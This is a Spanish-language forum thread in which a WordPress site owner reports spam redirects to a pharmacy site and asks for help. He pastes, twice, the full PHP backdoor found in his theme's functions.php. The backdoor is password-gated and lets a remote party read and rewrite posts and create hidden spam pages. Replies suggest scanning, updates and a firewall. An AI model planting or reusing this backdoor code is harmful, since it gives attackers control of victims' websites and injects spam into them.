Problema de Malware en Wordpress con Redirección Inapropiada

Canopix · 8 Sep 2017

Buenas noches a todos.

Tengo un problema en mi web, esta hecha en wordpress y en los Links de manera aleatoria me redirecciona a una pagina de drogas de Canada

Approved Online Pharmacy

He sacado toda la publicidad.. Pero no se bien como solucionarlo. Sigue apareciendo..

Saludos.

- - - Actualizado - - -

Encontre el siguiente codigo en el functions.php

PHP:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '1c256c85bc3f4cdf6a5704bd5ac3aecb'))
	{
		switch ($_REQUEST['action'])
			{
				case 'get_all_links';
					foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
						{
							$data['code'] = '';
							
							if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
								{
									$data['code'] = $_[1];
								}
							
							print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
						}
				break;
				
				case 'set_id_links';
					if (isset($_REQUEST['data']))
						{
							$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
							
							$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
							if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';

							if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
								{
									print "true";
								}
						}
				break;
				
				case 'create_page';
					if (isset($_REQUEST['remove_page']))
						{
							if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
								{
									print "true";
								}
						}
					elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
						{
							if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
								{
									print "true";
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_URL_CD";
			}
			
		die("");
	}

	
if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
	{
		$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
		if ($data -> full_content)
			{
				print stripslashes($data -> content);
			}
		else
			{
				print '<!DOCTYPE html>';
				print '<html ';
				language_attributes();
				print ' class="no-js">';
				print '<head>';
				print '<title>'.stripslashes($data -> title).'</title>';
				print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
				print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
				print '<meta name="robots" content="index, follow" />';
				print '<meta charset="';
				bloginfo( 'charset' );
				print '" />';
				print '<meta name="viewport" content="width=device-width">';
				print '<link rel="profile" href="http://gmpg.org/xfn/11">';
				print '<link rel="pingback" href="';
				bloginfo( 'pingback_url' );
				print '">';
				wp_head();
				print '</head>';
				print '<body>';
				print '<div id="content" class="site-content">';
				print stripslashes($data -> content);
				get_search_form();
				get_sidebar();
				get_footer();
			}
			
		exit;
	}


?>

- - - Actualizado - - -

Encontre el siguiente codigo en el functions.php

PHP:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '1c256c85bc3f4cdf6a5704bd5ac3aecb'))
	{
		switch ($_REQUEST['action'])
			{
				case 'get_all_links';
					foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
						{
							$data['code'] = '';
							
							if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
								{
									$data['code'] = $_[1];
								}
							
							print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
						}
				break;
				
				case 'set_id_links';
					if (isset($_REQUEST['data']))
						{
							$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
							
							$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
							if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';

							if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
								{
									print "true";
								}
						}
				break;
				
				case 'create_page';
					if (isset($_REQUEST['remove_page']))
						{
							if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
								{
									print "true";
								}
						}
					elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
						{
							if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
								{
									print "true";
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_URL_CD";
			}
			
		die("");
	}

	
if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
	{
		$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
		if ($data -> full_content)
			{
				print stripslashes($data -> content);
			}
		else
			{
				print '<!DOCTYPE html>';
				print '<html ';
				language_attributes();
				print ' class="no-js">';
				print '<head>';
				print '<title>'.stripslashes($data -> title).'</title>';
				print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
				print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
				print '<meta name="robots" content="index, follow" />';
				print '<meta charset="';
				bloginfo( 'charset' );
				print '" />';
				print '<meta name="viewport" content="width=device-width">';
				print '<link rel="profile" href="http://gmpg.org/xfn/11">';
				print '<link rel="pingback" href="';
				bloginfo( 'pingback_url' );
				print '">';
				wp_head();
				print '</head>';
				print '<body>';
				print '<div id="content" class="site-content">';
				print stripslashes($data -> content);
				get_search_form();
				get_sidebar();
				get_footer();
			}
			
		exit;
	}


?>

liukin · 8 Sep 2017

Más que el link a la web "de drogas", es más útil para que te pudan/pueda ayudar si pones la URL de la web infectada.

Yo te diría qe instales el Wordfence me parece que se llama y escanees el sitio. También que cambies de theme temporalmente para comprobar si con otro sigue este error, ya que muchas veces es una vulnerabilidad de este.😉

EmailPass · 8 Sep 2017

Me pasó lo mismo, pero logré solucionarlo solo cambiando unas líneas en functions.php :encouragement:

klamardo · 9 Sep 2017

como estamos con los upgrades del core de wp ? y los plugins/themes/extensiones ? por experiencias con usuarios que instalan wp lo dejan bonito y despues practicamente se olvidan de hacerles mantenciones .. un buen WAF ... ninja firewall me ha ahorrado bastantes dolores de cabeza mi ser sysadmin con varios server/vps a cargo y se sufre con los users descuidados con sus wordpress

Problema de Malware en Wordpress con Redirección Inapropiada

Canopix

liukin

EmailPass

klamardo

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